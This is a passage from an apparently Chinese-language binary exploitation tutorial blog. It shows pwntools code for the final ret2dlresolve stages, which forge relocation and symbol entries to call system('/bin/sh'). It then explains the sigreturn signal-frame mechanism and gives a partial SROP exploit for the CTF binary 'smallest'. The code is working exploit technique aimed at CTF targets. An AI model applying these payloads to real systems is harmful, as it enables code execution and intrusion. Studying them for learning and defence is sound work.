### making fake write symbol fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) # since the size of item(Elf32_Symbol) of dynsym is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = ( fake_sym_addr - dynsym) / 0x10# calculate the dynsym index of write ## plus 10 since the size of Elf32_Sym is 16. st_name = fake_sym_addr + 0x10 - dynstr fake_write_sym = flat([st_name, 0, 0, 0x12])
rop.raw(plt0) rop.raw(index_offset) ## fake ret addr of write rop.raw('bbbb') rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' * align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('write\x00') # there must be a \x00 to mark the end of string rop.raw('a' * (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain() r.recv()
STAGE6
这一阶段,我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。这是因为,dl_resolve 最终依赖的是我们所给定的字符串,即使我们给了一个假的字符串它仍然会去解析并执行。
### making fake write symbol fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) # since the size of item(Elf32_Symbol) of dynsym is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = ( fake_sym_addr - dynsym) / 0x10# calculate the dynsym index of write ## plus 10 since the size of Elf32_Sym is 16. st_name = fake_sym_addr + 0x10 - dynstr fake_write_sym = flat([st_name, 0, 0, 0x12])
rop.raw(plt0) rop.raw(index_offset) ## fake ret addr of write rop.raw('bbbb') rop.raw(base_stage + 82) rop.raw('bbbb') rop.raw('bbbb') rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' * align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('system\x00') # there must be a \x00 to mark the end of string rop.raw('a' * (80 - len(rop.chain()))) rop.raw(sh + '\x00') rop.raw('a' * (100 - len(rop.chain())))
buf += rop.call('read', 0, bss_base, 100) ## used to call dl_Resolve() buf += rop.dl_resolve_call(bss_base + 20, bss_base) r.send(buf)
buf = rop.string('/bin/sh') buf += rop.fill(20, buf) ## used to make faking data, such relocation, Symbol, Str buf += rop.dl_resolve_data(bss_base + 20, 'system') buf += rop.fill(100, buf) r.send(buf) r.interactive()
SROP
signal 机制
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77(0x4d),64 位的系统调用号为 15(0xf)。
内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
from pwn import * from LibcSearcher import * small = ELF('./smallest') if args['REMOTE']: sh = remote('127.0.0.1', 7777) else: sh = process('./smallest') context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 ## set start addr three times payload = p64(start_addr) * 3 sh.send(payload)
## modify the return addr to start_addr+3 ## so that skip the xor rax,rax; then the rax=1 ## get stack addr sh.send('\xb3') stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr :' + hex(stack_addr))
## make the rsp point to stack_addr ## the frame is read(0,stack_addr,0x400) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'a' * 8 + str(sigframe) sh.send(payload)
## set rax=15 and call sigreturn sigreturn = p64(syscall_ret) + 'b' * 7 sh.send(sigreturn)
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.